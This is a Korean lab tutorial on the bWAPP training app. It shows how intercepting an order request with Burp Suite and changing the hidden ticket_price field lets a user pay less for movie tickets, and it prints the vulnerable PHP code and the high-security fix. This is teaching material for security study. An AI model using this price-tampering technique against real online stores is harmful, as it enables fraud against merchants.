정보보안(구버전)/ bWAPP 2019. 2. 15. 16:00

웹 해킹 bWAPP - 62. A4 - Insecre Direct Object References - Insecure DOR(Order Tickets)

 

 

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다. 

 

 

1. Insecre Direct Object References

 

 - OWASP Top10 A4 - 안전하지 않은 직접 객체 참조

 - 객체를 참조하기 위해서 정상적인 인증 절차가 없는 취약점을 이용하는 공격이다.
 - 클라이언트로부터 수신하는 정보에 대해서 검증 단계(ID 조회) 없이 정보를 서버로 전달하기 때문에 문제가 발생한다.
 - Ex) 개인정보 변경, 패스워드 변경, 구매 가격 및 수량 변경

 

 

 

2. IInsecre Direct Object References - nsecure DOR(Order Tickets)

 

 - 이 시나리오는 영화 티켓의 기존 가격을 조정하여 구매 가격을 변경하는 내용이다.

 

  

Ex1) Insecre Direct Object References - Insecure DOR(Order Tickets) 이해

 

 

보안 레벨 선택 및 시나리오 선택

 

 

티켓 개수 '1' 입력 -> 'Confirm' 버튼 클릭

 

 

 

티켓 '1'개의 가격 15유로 확인 

 

 

 

티켓 개수 '2' 입력 -> 'Confirm' 버튼 클릭 -> 가격 30 유로 확인

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

티켓 개수 '4' 입력 -> 'Confirm' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

 

티켓 가격 10으로 변경 실시

POST /bWAPP/insecure_direct_object_ref_2.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/insecure_direct_object_ref_2.php

Cookie: security_level=0; PHPSESSID=486f6f7af42a19cc88505e3193997893

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

 

ticket_quantity=4&ticket_price=15&action=order 

                                         10  <- 변경 내용

 

 

 

'Forward' 버튼 클릭

 

 

 

'Intercept is on'를 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

티켓 '4'개의 가격 40 유로 확인

 

 

 

 

Ex2) 'insecure_direct_object_ref_2.php' 파일 내용 확인

 

bee@bee-box:/var/www/bWAPP$ ls -l insecure_direct_object_ref_2.php
-rw-rw-r-- 1 root www-data 6064 2014-11-02 23:52 insecure_direct_object_ref_2.php

bee@bee-box:/var/www/bWAPP$ vi insecure_direct_object_ref_2.php

~ 중간 생략 ~

 

include("functions_external.php");
include("selections.php");

 

$ticket_price = 15;

 

~ 중간 생략 ~

 

<?php

 

if($_COOKIE["security_level"] != "1" and $_COOKIE["security_level"] != "2")
{

 

?>


        <input type="hidden" name="ticket_price" value="<?php echo $ticket_price ?>">

 

<?php

 

}

 

?>
        <button type="submit" name="action" value="order">Confirm</button>

 

    </form>

 

<br />

 

<?php

 

if(isset($_REQUEST["ticket_quantity"]))
{

 

    if($_COOKIE["security_level"] != "2")
    {

 

        if(isset($_REQUEST["ticket_price"]))
        {

 

            $ticket_price = $_REQUEST["ticket_price"];

 

        }

    }

 

    $ticket_quantity = abs($_REQUEST["ticket_quantity"]);
    $total_amount = $ticket_quantity * $ticket_price;

 

    echo "<p>You ordered <b>" . $ticket_quantity . "</b> movie tickets.</p>";
    echo "<p>Total amount charged from your account automatically: <b>" . $total_amount . "EUR</b>.</p>";
    echo "<p>Thank you for your order!</p>";

 

    $_SESSION["amount"] = $_SESSION["amount"] - $total_amount;

 

}

 

:q! 

 

 

 

 

Ex3) 보안 레벨 'High' 변경

 

 

보안 레벨 및 시나리오 선택

 

 

 

Intercept -> 'Intercept is on' 으로 변경 실시

 

 

티켓 개수 '4' 입력 -> 'Confirm' 버튼 클릭

 

 

 

버프슈트 Intercept 내용 확인

 

 

 

'ticket_price'가 안보임

POST /bWAPP/insecure_direct_object_ref_2.php HTTP/1.1

Host: 192.168.20.205

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.20.205/bWAPP/insecure_direct_object_ref_2.php

Cookie: security_level=2; PHPSESSID=486f6f7af42a19cc88505e3193997893

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 30

 

ticket_quantity=4&action=order 

 

 

 

'Intercept is on'를 클릭하여 off 실시

 

 

 

'Intercept is off' 확인

 

 

 

티켓 '4'개의 가격 60 유로 확인 -> 가격 변경 실패

 

 

[유튜브] 동영상 강의 링크 (구독! 좋아요!!!)

 

웹해킹 62. A4 - bWAPP Insecre Direct Object References - Insecure DOR(Order Tickets)   https://youtu.be/8gvcXp0_VTA

Posted by 김정우 강사(카카오톡 : kim10322)
,


Q